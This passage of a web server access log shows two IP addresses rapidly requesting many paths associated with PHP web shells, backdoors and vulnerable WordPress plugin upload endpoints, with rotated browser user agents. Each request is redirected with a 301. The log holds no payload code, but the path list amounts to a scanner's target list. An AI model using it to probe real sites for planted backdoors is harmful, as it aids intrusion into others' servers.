Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:59 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /wp-admin/images/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /by.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:59 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /wp-admin/includes/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /wp-admin/admin-ajax.php?action=etimeclockwp_load_function HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /wp-admin/js/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:59 -0400] "GET /wp-content/plugins/Cache/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:00 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /alfadheat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-includes/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-includes/ID3/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-includes/IXR/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-admin/css/colors/blue/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-content/plugins/page-flip-image-gallery/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:23:00 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-includes/PHPMailer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /css/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-includes/random_compat/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-admin/includes/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-includes/Text/Diff/Engine/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-includes/pomo/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /top.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-content/uploads/google-in.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:00 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /glpi/vendor/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:01 -0400] "GET /plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /wp-includes/sitemaps/providers/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /wp-content/plugins/cherry-plugin/admin/import-export/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /wp-content/upgrade/120f9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /checkbex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /wp-includes/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /wp-content/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:01 -0400] "GET /themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /wp-includes/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /wp-content/plugins/aviary-image-editor-add-on-for-gravity-forms/includes/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /wp-includes/fonts/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /print/bkindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.85 - - [23/Apr/2025:03:23:01 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /admin/controller/extension/extension/Not_Found.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /wp-includes/class-wp-smtp-bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /wp-includes/ID3/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /wp-includes/images/crystal/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /roundcube/static/common/user/uedit/php/controller.php?action=catchimage HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /prosellers.PhP7?pass=prosellers HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:01 -0400] "GET /pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /.well-known/acme-challenge/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /.tmb/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /wp-includes/images/media/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:01 -0400] "GET /ioxi002.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /wp-includes/js/plupload/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /wp-includes/images/smilies/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /wp-includes/js/codemirror/asset.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:23:01 -0400] "GET /images/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:01 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /cgi-bin/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-includes/langar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-includes/js/codemirror/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-includes/js/plupload/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-admin/images/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:02 -0400] "GET /indec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-includes/IXR/class-IXR-base64-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /files/editprofile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-content/444.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-includes/widgets/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:02 -0400] "GET /wp-content/choosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:02 -0400] "GET 